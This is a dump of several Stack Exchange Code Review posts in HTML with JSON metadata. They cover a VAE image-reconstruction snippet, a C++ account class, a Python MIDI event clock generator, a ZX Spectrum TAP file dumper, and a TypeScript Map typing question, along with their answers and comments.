plt.imshow(np.clip(x.detach().cpu().numpy()[i,:,:].transpose(1,2,0)+0.5,0.0,1.0)) plt.axis('off') plt.show() # ===================log======================== test_loss /= len(test_loader.dataset) print(f'====&gt; Test set loss: {test_loss:.4f}') #display_images(x, x_hat, 1, f'Epoch {epoch}') </code></pre> <p><strong>Output:</strong></p> <p><a href="https://i.stack.imgur.com/ndYT1.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/ndYT1.png" alt="enter image description here" /></a></p> <p>I have implemented the VAE2 from the above article. The reconstructed images are not that great. I tried so many things to get more valuable photos, but none worked fine, i.e learning rate, batch size, adding GAN, adding progressive GAN, reviewing each line, etc. How can I improve this code?</p>
[]
[]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T16:26:27.313", "Id": "253582", "Score": "4", "Tags": [ "python", "machine-learning", "neural-network" ], "Title": "Using VAE for reconstructing images" }
253582
<p>I have a class Accounts with an array of account numbers and an array of balances I have a member function add_acc that adds an account. But before adding an account, I want to check if the account no. to be added, already exists or not. If it exists then an error message is displayed else the new account is added. In my following class design, the compiler is not able to check for the uniqueness of the account no. when more than 1 accounts are being added. Following is my approach.</p> <pre><code>#include &lt;iostream&gt; #include &lt;stdlib.h&gt; using namespace std; #define MAX 100 class Account { long long int acc_no[MAX]; long long int balance[MAX]; int count; public : void CNT() { count=0; } void add_acc(); }; void Account::add_acc() { if(count==0) { cout&lt;&lt;&quot;Enter the account number&quot;&lt;&lt;&quot; : &quot;; cin&gt;&gt;acc_no[count]; cout&lt;&lt;&quot;Enter the balance&quot;&lt;&lt;&quot; : &quot;; cin&gt;&gt;balance[count]; } else { long long int temp; cout&lt;&lt;&quot;Enter the account no. to be added : &quot;; cin&gt;&gt;temp; for(int i=0;i&lt;count;i++) { if(temp==acc_no[i]) { cout&lt;&lt;&quot;Account no. already exists&quot;&lt;&lt;&quot;\n&quot;; return; } else { continue; } } temp=acc_no[count]; cout&lt;&lt;&quot;Enter the balance : &quot;; cin&gt;&gt;balance[count]; } count++; } int main() { Account A; A.CNT(); char ch; while(ch) { A.add_acc(); cout&lt;&lt;&quot;Want to add another account? : &quot;; cin&gt;&gt;ch; if(ch=='Y' || ch=='y') continue; else break; } return 0; } </code></pre> <p>The problem with my output -:</p> <p>In the first run I entered the account no. as 123, int the second run I enter the acc. no. as 345 and when in the third run again I entered the acc. no. as 345, the error message was not displayed.</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T17:12:20.077", "Id": "500076", "Score": "0", "body": "@Ch3steR No. It does enter the else part in 2nd and 3rd run." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T17:17:44.613", "Id": "500077", "Score": "0", "body": "Yes, my bad did not see `count++` at the end." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T19:35:56.040", "Id": "500092", "Score": "0", "body": "Welcome to Code Review! I'm afraid this question does not match what this site is about. Code Review is about improving existing, working code. Code Review is not the site to ask for help in fixing or changing *what* your code does. Once the code does what you want, we would love to help you do the same thing in a cleaner way! Please see our [help center](/help/on-topic) for more information." } ]
[ { "body": "<h3>Use <a href=\"https://en.cppreference.com/w/cpp/container/unordered_map\" rel=\"nofollow noreferrer\"><code>unordered_map</code></a> to maintain account number and balance.</h3>\n<p>You can use <code>unordered_map</code>(hash table) for checking if an <code>acc_num</code> already exists or not and the membership check in <code>unordered_map</code> is <code>O(1)</code>.</p>\n<h3>You can use <a href=\"https://www.gnu.org/software/libc/manual/html_node/Integers.html\" rel=\"nofollow noreferrer\"><code>int64_t</code></a> for <code>long long int</code></h3>\n<p>You can <code>int64_t</code> for <code>long long int</code>, <code>uint64_t</code> for <code>unsigned long long int</code> and since bank balance can't be less than <code>0</code> use <code>uint64_t</code> for <code>balance</code>.</p>\n<h3><code>count</code> is unnecessary, use <a href=\"https://en.cppreference.com/w/cpp/container/unordered_map/find\" rel=\"nofollow noreferrer\"><code>unordered_map::find</code></a>.</h3>\n<p>You can eliminate <code>count</code> when you are using <code>unordered_map</code> to check if <code>acc_num</code> exists use <code>unordered_map::find</code>.</p>\n<h3>Create alias using <a href=\"https://en.cppreference.com/w/cpp/language/type_alias\" rel=\"nofollow noreferrer\"><code>using</code></a>.</h3>\n<p><code>using account_table</code> not only allows you to give a short name to a complex type, but it puts the type definition in a single place. Then if you change the underlying type you only need to change it in that one place.</p>\n<h3>Avoid using <code>using namespace std;</code></h3>\n<p>Find more details here <a href=\"https://stackoverflow.com/questions/1452721/why-is-using-namespace-std-considered-bad-practice\">why <code>using namespace std;</code> is considered bad praactice</a></p>\n<p>I added <code>Account::print_details</code>, it prints <code>acc_num --&gt; balance</code></p>\n<h3>Refactored code</h3>\n<pre><code>#include&lt;iostream&gt;\n#include&lt;unordered_map&gt;\n#include&lt;string&gt;\n\nclass Account{\n using account_table = std::unordered_map&lt;std::string, uint64_t&gt;;\n private:\n account_table table;\n public:\n void add_acc();\n void print_details();\n};\n\nvoid Account::add_acc(){\n std::cout&lt;&lt;&quot;Enter account number : &quot;;\n std::string acc_num;\n std::cin&gt;&gt;acc_num;\n if (table.find(acc_num)==table.end()){\n uint64_t balance;\n std::cout&lt;&lt;&quot;Enter balance : &quot;;\n std::cin&gt;&gt;balance;\n table.insert({acc_num, balance});\n }\n else{\n std::cout&lt;&lt;&quot;Account number already exists\\n&quot;;\n }\n}\n\nvoid Account::print_details(){\n for(auto&amp; d: table){\n std::cout&lt;&lt;d.first&lt;&lt;&quot;--&gt;&quot;&lt;&lt;d.second&lt;&lt;std::endl;\n }\n}\n\nint main(){\n Account A;\n char ch{'Y'};\n \n while(ch){\n A.add_acc();\n std::cout&lt;&lt;&quot;Want to add another account : &quot;;\n std::cin&gt;&gt;ch;\n if (ch!='Y' &amp;&amp; ch!='y'){\n break;\n }\n }\n A.print_details();\n return 0;\n}\n</code></pre>\n<h3>Example run</h3>\n<pre><code>Enter account number : 1234\nEnter balance : 50\nWant to add another account : y\nEnter account number : 1234\nAccount number already exists\nWant to add another account : Y\nEnter account number : 12345\nEnter balance : 12\nWant to add another account : n\n12345--&gt;12\n1234--&gt;50\n</code></pre>\n<hr />\n<p>You can use <a href=\"https://manpages.debian.org/testing/clang-format-9/clang-format-9.1.en.html\" rel=\"nofollow noreferrer\"><code>clang-format-9</code></a>(code formatting tool)</p>\n<p>Example:</p>\n<pre><code>clang-format-9 -i -style=Google your_file.cpp\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T18:54:33.487", "Id": "500091", "Score": "0", "body": "Thank you so much that was really helpful." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T08:50:28.910", "Id": "500128", "Score": "0", "body": "Please do not answer off-topic questions." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T10:55:30.287", "Id": "500132", "Score": "0", "body": "@BCdotWEB Sorry, new to the community. Can't delete the answer as it's accepted. Will keep in mind next time." } ], "meta_data": { "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T18:00:03.987", "Id": "253586", "ParentId": "253583", "Score": "1" } } ]
{ "AcceptedAnswerId": "253586", "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T16:40:48.163", "Id": "253583", "Score": "0", "Tags": [ "c++", "object-oriented" ], "Title": "Account class design using OOP paradigm" }
253583
<p>I'm working on a Python class that is a cyclic generator, like <code>itertools.cycle</code>, but it offers access to its current state and executes a callback after the completion of each cycle.</p> <p>I'm looking for feedback on the way I've implemented this so that I might improve it or find a better way.</p> <p>In this version, I've used <code>itertools.cycle</code>, but I'm wondering if there might be any advantage to subclassing <code>collections.abc.Iterator</code> and building it from the ground up. My thoughts are that I might be able to improve performance by using modulus division to constrain the output, without the overhead of importing other libraries. My primary use for this will be to drive other clocks, so timing is crucial.</p> <p>I'm also unsure if this is the best way to implement the callback. It works and is simple, but I'm interested in the opinions and experience of others regarding this feature.</p> <p>All guidance and opinions welcomed!</p> <p>Thanks!</p> <p>Update:</p> <p>I've updated the code to provide some context. I've added here the class that processes incoming midi byte stream. This MidiStream object is where I plan to 'plug in' the EventClock, using the midi bytes to trigger the iterator. However I haven't yet connected the two objects.</p> <pre class="lang-py prettyprint-override"><code>import asyncio from time import time from itertools import cycle from functools import partial from typing import Callable, Optional, Tuple from meta.nebula import Singleton from src.midiconf import clock, clsattrs class EventClock: &quot;&quot;&quot;cyclic generator with access to current position executes a callback at the start/end of each cycle &quot;&quot;&quot; def __init__(self, size: int, callback: Callable, args: Optional[Tuple]=None): self._size = size self._position = 0 self._loop = cycle(range(1, size + 1)) self._callback = partial(callback, *args) def __repr__(self): return f&quot;&lt;_class {type(self).__name__}(size={self._size}, position={self._position})_&gt;&quot; @property def nextstep(self): self._position = next(self._loop) if self._position == 1: self._callback() return self._position @property def position(self): return self._position @property def reset(self): &quot;&quot;&quot;reset generator's currrent state to -1&quot;&quot;&quot; for index in self._loop: if index == self.length: break @clsattrs(clock) class MidiStream(metaclass=Singleton): &quot;&quot;&quot;process incoming midi byte stream port: rtmidi_port, policy: asyncio loop_policy &quot;&quot;&quot; def __init__(self, port, policy=None): self.port = port self.policy = policy def enqueue(self, midipacket, data=None): &quot;&quot;&quot;syncronization callback, fetch and enqueue&quot;&quot;&quot; timestamp = time() msg, delta = midipacket queue_packet = (msg, delta, timestamp) try: self.loop.call_soon_threadsafe(self.midistream.put_nowait, queue_packet) except BaseException as failure: print(f&quot;callback exc: {type(failure)} {failure}&quot;) async def dequeue(self): while True: msg, delta, timestamp = await self.midistream.get() if msg[0] == self.clock: # Trigger the EventClock # EventClock cycles and triggers callback # Callback does something like, # updates a display or triggers other midi events, etc. async def clocksync(self): &quot;&quot;&quot;main coroutine &quot;&quot;&quot; self.loop = asyncio.get_event_loop() self.midistream = asyncio.Queue(maxsize=256) self.port.set_callback(self.enqueue) try: await self.dequeue() except asyncio.CancelledError: self.port.cancel_callback() self.recyle(self.ppbr, resolution) def syncronize(self): asyncio.set_event_loop_policy(self.policy) asyncio.run(self.clocksync()) input = MidiStream(midiin) input.syncronize() </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T00:28:52.707", "Id": "500111", "Score": "0", "body": "Welcome on Code Review! Could you please give us a simple use case for the above code? When & how would you use the `EventClock `?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T02:19:33.813", "Id": "500113", "Score": "0", "body": "Thanks! The idea came out of the need to filter midi beat clock messages, which will trigger other midi clocks to subdivide the beat and ultimately trigger midi sequences and other types of events. The event clock can be set to cycle at various resolutions, such as 96 pulses per bar or 24 ppqn etc.. The callback is in place to leave it open as far as what the triggered event might be. I always strive to make utilities that might be useful in many applications." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T22:27:09.803", "Id": "500188", "Score": "0", "body": "`# Trigger the EventClock` is not enough for me to see how the clock is used. Please just show all of your code." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T22:48:57.197", "Id": "500190", "Score": "0", "body": "That's as far as I've gotten. I pass the midi byte to a function that advances the EventClock. I may alter EventClock to accept the byte directly. The EventClock cycles and executes the callback. I haven't coded anything beyond what's here aside from some other midi event classes that aren't relevant as they just format messages. I appreciate your input, though. I'll certainly explore what you've contributed so far. I like the terse statements. I'm curious know if there might be any performance advantages by not using abstractions like cycle." } ]
[ { "body": "<p>Without seeing how this is called, I can't properly understand why this isn't just a &quot;normal&quot; Python <a href=\"https://docs.python.org/3/library/stdtypes.html#iterator-types\" rel=\"nofollow noreferrer\">iterator-type class</a>:</p>\n<ul>\n<li>Do not have a <code>reset</code>; simply have the caller restart their own iteration, which will re-invoke <code>__iter__</code></li>\n<li>Do not store iteration state on the class; keep it within the <code>__iter__</code> method</li>\n<li>Calling <code>args</code> <code>Optional</code> is incorrect because a <code>None</code> will make your expansion crash; so give it a default instead</li>\n</ul>\n<p>Something like:</p>\n<pre><code>from functools import partial\nfrom typing import Callable, Tuple\n\n\nclass EventClock:\n &quot;&quot;&quot;cyclic generator with access to current position\n executes a callback at the start/end of each cycle &quot;&quot;&quot;\n\n def __init__(self, size: int, callback: Callable, args: Tuple = ()):\n self._loop = range(size)\n self._callback = partial(callback, *args)\n\n def __iter__(self):\n while True:\n self._callback()\n yield from self._loop\n\n\ndef my_cb():\n print('Callback')\n\ni = 0\nev = EventClock(3, my_cb)\nfor p in ev:\n print(p)\n i += 1\n if i &gt;= 5:\n break\n\n&quot;&quot;&quot;\nPrints:\n\nCallback\n0\n1\n2\nCallback\n0\n1\n&quot;&quot;&quot;\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T17:22:53.813", "Id": "500169", "Score": "0", "body": "Thanks for the input! I realized the error with assigning None to args after I posted. My use for this is to filter midi clock messages at various resolutions in order to trigger events in sync with external devices. It's called by pulling a midi message from a queue and passing it to the EventClock, which would trigger the next step in cycle object. After 24 ticks for example, It would trigger another midi event of some sort (callback). There are 5 EventClocks processing the incoming midi stream at different resolutions. I chose a reset option to reset them all whenever the sync restarts." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T17:30:44.617", "Id": "500170", "Score": "0", "body": "That's fine, and the code I've suggested can easily accommodate what you've described, but until you show more usage code I can't show you how." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T20:13:22.623", "Id": "500183", "Score": "0", "body": "I've updated the code to provide some context. It's as far as I've gotten with it - just two classes. I haven't put them together yet." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T20:41:29.757", "Id": "500185", "Score": "1", "body": "Ordinarily we'd rollback the edit to the question, but in this case I'd say the answer was a bit premature. Would you please update the answer?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-19T07:30:27.037", "Id": "500198", "Score": "0", "body": "Why do you suggest not storing the state as a class property? How would it be accessible from the __ iter__ method if I needed to obtain it at some later time? I like the idea of having the iter restart after exhaustion, but I'll have to implement a function to call it I suppose. Do you think doing it this way might improve performance?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-19T11:55:00.653", "Id": "500204", "Score": "0", "body": "You're optimizing prematurely. If you really care about real-time performance Python isn't the right choice anyway." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-19T12:59:44.790", "Id": "500207", "Score": "0", "body": "What I'm interested in is understanding how to write python code is the most efficient manner. This is about learning for me. Anyway, I'm not sure I understand what you mean when you say optimize prematurely. Could you please explain? Also, if you you could show me how to store and access the generator state using your approach, I d greatly appreciate it!" } ], "meta_data": { "CommentCount": "7", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T16:20:12.517", "Id": "253627", "ParentId": "253584", "Score": "0" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T17:30:29.023", "Id": "253584", "Score": "3", "Tags": [ "python-3.x", "object-oriented", "iterator", "callback", "generator" ], "Title": "Cyclic generator with access to current local state and executes callback after each cycle" }
253584
<p>The other day, I had occasion to want to look into an ancient piece of Z80 software written for a <a href="https://en.wikipedia.org/wiki/ZX_Spectrum" rel="noreferrer">Sinclair Spectrum</a> computer. Software for this machine was typically saved to audio tape, and today people use the <a href="https://faqwiki.zxnet.co.uk/wiki/TAP_format" rel="noreferrer">TAP format</a> to store and exchange Spectrum software. The format is a very literal translation of the original tape format and consists of a sequence of blocks (here rendered as <code>TAPBlock</code> class). Typical format is that there is a header (<code>TAPHeader</code> in this code) followed by a code block. An example is the <a href="https://worldofspectrum.org/archive/software/games/wizards-lair-yodasoft#game_files" rel="noreferrer">Wizard's Lair</a> game from 1984.</p> <h2>The purpose</h2> <p>The purpose of this software is to simply read the file and dump the contents into somewhat structured, human readable form. I was mostly interested in looking at strings of hex bytes (that's what passes for &quot;human readable&quot; in my house!) so that's the format I used here. Everything works as intended. Partial sample output is shown below for the game file mentioned above.</p> <pre><code>{ len = 19, flag = 0, { 00 77 6c 20 20 20 20 20 20 20 20 c7 3e 02 00 c7 3e }, cksum = 25, calcsum = 25 } { type = 0, filename = &quot;wl &quot;, data_len = 16071, param1 = 2, param2 = 16071 } { len = 16073, flag = 255, { 00 01 0a 00 ec 31 30 0e 00 00 0a 00 00 0d 00 02 0d 00 fd 34 39 39 39 39 0e 00 00 4f c3 00 0d 00 ... 33 36 37 36 0e 00 00 7c 5c 00 2c 31 39 39 0e 00 00 c7 00 00 3a fe 0d }, cksum = 122, calcsum = 122 } { len = 19, flag = 0, { 03 77 6c 7a 20 20 20 20 20 20 20 38 07 50 c3 00 80 }, cksum = 110, calcsum = 110 } { type = 3, filename = &quot;wlz &quot;, data_len = 1848, param1 = 50000, param2 = 32768 } { len = 1850, flag = 255, { 00 00 00 00 18 3c 7e 7e 7e 5a 7e 3c 24 3c 3c 18 00 03 07 01 06 06 0f 07 e7 f7 ff ff ff 9f 0f 88 ... 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }, cksum = 209, calcsum = 209 } { len = 19, flag = 0, { 03 77 6c 62 20 20 20 20 20 20 20 6e 02 60 ea c3 80 }, cksum = 255, calcsum = 255 } { type = 3, filename = &quot;wlb &quot;, data_len = 622, param1 = 60000, param2 = 32963 } { len = 624, flag = 255, { c0 38 00 3d 0e 72 0e 71 1c 43 1c 48 2f c0 43 1c 43 0e c0 72 0e 72 08 79 08 77 21 71 21 71 1c c0 ... bf 94 c0 bf 8f b8 8d b0 8f a9 8e c0 ad 8a bf 89 ff 50 35 0a 5a 38 64 5a a8 7a 5a c8 0c ff }, cksum = 170, calcsum = 170 } { len = 19, flag = 0, { 03 77 6c 62 62 20 20 20 20 20 20 77 01 00 fa 80 80 }, cksum = 148, calcsum = 148 } { type = 3, filename = &quot;wlbb &quot;, data_len = 375, param1 = 64000, param2 = 32896 } { len = 377, flag = 255, { d9 e1 d9 c9 d9 e5 d9 21 34 eb 7e fe ff 28 f1 fe c0 20 0b 23 7e 32 c9 fa 23 7e 32 ca fa 23 7e 32 ... 44 42 00 00 3c 40 3c 02 42 3c 00 00 fe 10 10 10 10 10 2a b2 5c ed 5b }, cksum = 176, calcsum = 176 } </code></pre> <h2>My questions</h2> <p>I didn't much like the way I have created the <code>TAPHeader</code> constructor. I considered doing something even more ugly with <code>static_cast&lt;TAPHeader&gt;(data.data())</code> but the less said about that the better. Is there a better way to do this? Any other comments on ways to improve the code are also welcome. I'm using C++17 for this, but would not be averse to C++20 if that provides some compelling feature that would be useful here.</p> <h2>tapdump.cpp</h2> <pre><code>#include &lt;iostream&gt; #include &lt;iterator&gt; #include &lt;iomanip&gt; #include &lt;fstream&gt; #include &lt;functional&gt; #include &lt;numeric&gt; #include &lt;cstdint&gt; #include &lt;vector&gt; #include &lt;optional&gt; struct TAPHeader { uint8_t type; uint8_t filename[11]; // actually 10 bytes, but we add NUL terminator uint16_t data_len; uint16_t param1; uint16_t param2; explicit TAPHeader(const std::vector&lt;uint8_t&gt; v) { auto it = v.begin(); type = *it++; for (int i=0; i&lt;10; ++i) { filename[i] = *it++; } filename[10] = '\0'; // terminate filename string data_len = *it++; data_len |= *it++ &lt;&lt; 8; param1 = *it++; param1 |= *it++ &lt;&lt; 8; param2 = *it++; param2 |= *it++ &lt;&lt; 8; } friend std::ostream&amp; operator&lt;&lt;(std::ostream&amp; out, const TAPHeader&amp; hdr) { return out &lt;&lt; &quot;{ type = &quot; &lt;&lt; (unsigned)hdr.type &lt;&lt; &quot;, filename = \&quot;&quot; &lt;&lt; hdr.filename &lt;&lt; &quot;\&quot;, data_len = &quot; &lt;&lt; hdr.data_len &lt;&lt; &quot;, param1 = &quot; &lt;&lt; hdr.param1 &lt;&lt; &quot;, param2 = &quot; &lt;&lt; hdr.param2 &lt;&lt; &quot; }&quot;; } }; class TAPBlock { uint16_t len; // little-endian uint8_t flag; // 0 = header, 0xff = body uint8_t cksum; // simple xor of data, excluding len std::vector&lt;uint8_t&gt; data; public: uint8_t calcsum() const { return std::accumulate(data.begin(), data.end(), flag, std::bit_xor&lt;uint8_t&gt;()); } bool is_ok() const { return calcsum() == cksum; } std::optional&lt;TAPHeader&gt; get_header() const { if (flag == 0 &amp;&amp; data.size() &gt;= 17) { return TAPHeader{data}; } return {}; } bool read(std::istream&amp; in) { uint8_t lo, hi; lo = in.get(); hi = in.get(); len = (hi &lt;&lt; 8) | lo; flag = in.get(); data.clear(); data.reserve(len-2); for (auto count{len-2}; count; --count) { data.push_back(in.get()); } cksum = in.get(); return in.good(); } friend std::ostream&amp; operator&lt;&lt;(std::ostream&amp; out, const TAPBlock blk) { out &lt;&lt; &quot;{ len = &quot; &lt;&lt; std::dec &lt;&lt; blk.len &lt;&lt; &quot;, flag = &quot; &lt;&lt; (unsigned)blk.flag &lt;&lt; &quot;, {&quot;; if (1 || blk.flag) { int remaining{0}; for (auto n : blk.data) { if (remaining == 0) { remaining = 16; out &lt;&lt; &quot;\n\t&quot;; } --remaining; out &lt;&lt; std::setw(2) &lt;&lt; std::setfill('0') &lt;&lt; std::hex &lt;&lt; (unsigned)n &lt;&lt; ' '; } out &lt;&lt; &quot;\n}, &quot;; } else { } return out &lt;&lt; &quot;cksum = &quot; &lt;&lt; std::dec &lt;&lt; (unsigned)blk.cksum &lt;&lt; &quot;, calcsum = &quot; &lt;&lt; std::dec &lt;&lt; (unsigned)blk.calcsum() &lt;&lt; &quot; }&quot;; } }; int main(int argc, char *argv[]) { if (argc != 2) { std::cout &lt;&lt; &quot;Usage: dumptap tapfilename\n&quot;; return 1; } TAPBlock blk; std::ifstream in{argv[1]}; while (blk.read(in)) { std::cout &lt;&lt; blk &lt;&lt; '\n'; if (auto hdr = blk.get_header()) { std::cout &lt;&lt; *hdr &lt;&lt; '\n'; } } } </code></pre>
[]
[ { "body": "<p>Some comments to consider:</p>\n<ul>\n<li><p>In <code>TAPBlock::read</code>, I wouldn't try to get cute and declare the two variables <code>lo</code> and <code>hi</code> on the same line. Instead, I would do <code>const uint8_t lo = in.get();</code> and then <code>const uint8_t hi = in.get();</code> on the next line. (So just pay attention to const correctness).</p>\n</li>\n<li><p>Also, <code>TAPBlock::operator&lt;&lt;</code> looks a little strange with its if-else. First, did you really mean <code>if (1 || blk.flag) { ... }</code>? That is, taking a logical OR with constant 1 seems unnecessary. Here also the else-branch does nothing and is useless. Perhaps you'd like to restructure this as something like <code>if(!blk.flag) { return out ... }</code> after which write no explicit else but just do what you need to do.</p>\n</li>\n<li><p>If we wanted to, we could maybe write a small helper for the constructor of <code>TAPHeader</code> as the two lines that operate on <code>data_len</code>, <code>param1</code> and <code>param2</code> do the same thing (but maybe that will only clutter things, so it's OK). By the way, we could also write <code>auto it = v.cbegin();</code> but that's just personal preference, I do see that <code>v</code> is passed in as const.</p>\n</li>\n<li><p>We could add a precondition (e.g., <code>assert(data.size() == 17 &amp;&amp; &quot;Unexpected input length&quot;)</code>) to <code>TAPHeader</code> constructor and not just assume <code>it</code> is always dereferenceable. At the same time, why not make a <code>constexpr</code> constant for 17 so that it's not so magical as we use it at least twice in the code.</p>\n</li>\n<li><p>Arguably, the loop <code>for (auto count{ len - 2 }; count; --count) { ... }</code> is not written as readable as it could be. Isn't it clearer to write <code>for (auto count{0}; count &lt; len - 2; ++count) { ... }</code>. In fact, I suppose you could also just do a call to something like <code>std::generate_n</code> with a lambda that return <code>in.get()</code> to populate the data vector but that might be overkill and actually just hurt readability.</p>\n</li>\n</ul>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T18:25:14.673", "Id": "500085", "Score": "0", "body": "Absolutely right on the `(1 || blk.flag)` -- that was residue from an earlier experiment. The current code does not have an `if`." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T18:25:37.107", "Id": "500086", "Score": "0", "body": "@Edward No worries, I figured that was the case." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T18:22:46.107", "Id": "253589", "ParentId": "253585", "Score": "6" } }, { "body": "<p>The parameters to the <code>TAPHeader</code> constructor and <code>TAPBlock::operator&lt;&lt;</code> could be passed as const references to avoid making copies of the objects being passed.</p>\n<pre class=\"lang-cpp prettyprint-override\"><code>explicit TAPHeader(const std::vector&lt;uint8_t&gt; &amp;v);\n// ...\nfriend std::ostream&amp; operator&lt;&lt;(std::ostream&amp; out, const TAPBlock &amp;blk);\n</code></pre>\n<p>In the <code>TAPHeader</code> constructor, you calculate the two byte length values as you read the bytes for it, but in <code>TAPBlock::read</code>, you read two bytes into local variables then use those to calculate the length. For consistency you should use the same style for both. <code>read</code> can be changed to start:</p>\n<pre class=\"lang-cpp prettyprint-override\"><code>len = in.get();\nlen |= in.get() &lt;&lt; 8;\n</code></pre>\n<p>then you wouldn't need the <code>lo</code> or <code>hi</code> variables.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T21:06:12.233", "Id": "500095", "Score": "1", "body": "I was trying to figure out how to factor out something like a templated `get_uint16()` that would work with both the `std::vector` and with a `std::ifstream`. Seems like I ought to be able to pass an iterator, but it has eluded me so far." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T21:10:39.670", "Id": "500096", "Score": "0", "body": "@Edward I consider that as well, and the closest I got was to use a templated function, with a `std::istream_iterator`. But I stopped because of the difference between how the passed in value would be updated. The iterator would want a reference to the iterator so it could updated, while the istream_iterator could get by without it (but with the reference would need a named variable at the call site)." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T20:48:29.093", "Id": "253591", "ParentId": "253585", "Score": "6" } }, { "body": "<ul>\n<li>Although it makes the code a bit longer, I think I'd start by writing a little &quot;buffer&quot; class, on this general order:</li>\n</ul>\n<pre class=\"lang-cpp prettyprint-override\"><code>class buffer { \n std::vector&lt;uint8_t&gt; &amp;data;\n std::vector&lt;uint8_t&gt;::iterator pos;\npublic:\n buffer(std::vector&lt;uint8_t&gt; &amp;data) \n : data(data)\n , pos(data.cbegin()) \n {}\n\n void read(char *dest, size_t len) {\n std::copy_n(pos, dest, len); \n pos += len;\n }\n\n void read(uint16_t &amp;dest) {\n dest = *pos++;\n dest |= *pos++ &lt;&lt; 8;\n }\n};\n</code></pre>\n<p>Using this, the <code>ctor</code> for TAPHeader comes out something like this:</p>\n<pre class=\"lang-cpp prettyprint-override\"><code> explicit TAPHeader(std::vector&lt;uint8_t&gt; const &amp;data, TAPHeader &amp;hdr) {\n buffer b(data);\n b.read(&amp;type, sizeof(type));\n b.read(filename, sizeof(filename)-1);\n filename[10] = '\\0';\n b.read(data_len);\n b.read(param1);\n b.read(param2);\n }\n</code></pre>\n<p>I find that enough cleaner and simpler to justify the code for <code>buffer</code>.</p>\n<ul>\n<li>For the <code>flag</code> member of TAPBlock, I'd probably do something like this:</li>\n</ul>\n<pre class=\"lang-cpp prettyprint-override\"><code>enum Flag : uint8_t { header = 0, body = 0xff } flag;\n</code></pre>\n<p>Then get_header could come out something like this:</p>\n<pre class=\"lang-cpp prettyprint-override\"><code> std::optional&lt;TAPHeader&gt; get_header() const {\n const int min_header_size = 17;\n\n if (flag == header &amp;&amp; data.size() &gt;= min_header_size) {\n return TAPHeader{data};\n }\n return {};\n }\n</code></pre>\n<p>At least to me, this expresses the intent a bit more clearly.</p>\n<ul>\n<li>Right now, you print out the raw checksums (as read, and as computed) and leave it to the reader to verify that they match. Personally, I'd prefer to have the computer do that check (and consider omitting the message entirely if they match, as well as adding ANSI code to print it in bright red if they mismatch).</li>\n</ul>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T12:35:11.163", "Id": "500141", "Score": "1", "body": "I like your buffer idea. I had written two standalone templated functions, `readu16` and `readu8` but I think this approach is cleaner." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T07:52:00.817", "Id": "253601", "ParentId": "253585", "Score": "5" } } ]
{ "AcceptedAnswerId": "253601", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T17:48:54.687", "Id": "253585", "Score": "8", "Tags": [ "c++", "file", "c++17", "serialization", "file-structure" ], "Title": "Sinclair Spectrum TAP file dumper" }
253585
<p>I have the following code:</p> <pre><code> export type AvatarSize = &quot;xs&quot; | &quot;sm&quot; | &quot;md&quot;; const sizes = new Map&lt;AvatarSize, 32 | 44 | 104&gt;([ [&quot;xs&quot;, 32], [&quot;sm&quot;, 44], [&quot;md&quot;, 104] ]); </code></pre> <p>To me, it feels dirty. I wonder if there is any other way to write it without hard-coding the sizes?</p> <p>Thanks!</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T06:59:23.150", "Id": "500118", "Score": "4", "body": "Please add more details to this question. What does this code does and other things. See [help](https://codereview.stackexchange.com/help) to ask better questions." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T13:06:38.727", "Id": "500143", "Score": "1", "body": "What does the code do?" } ]
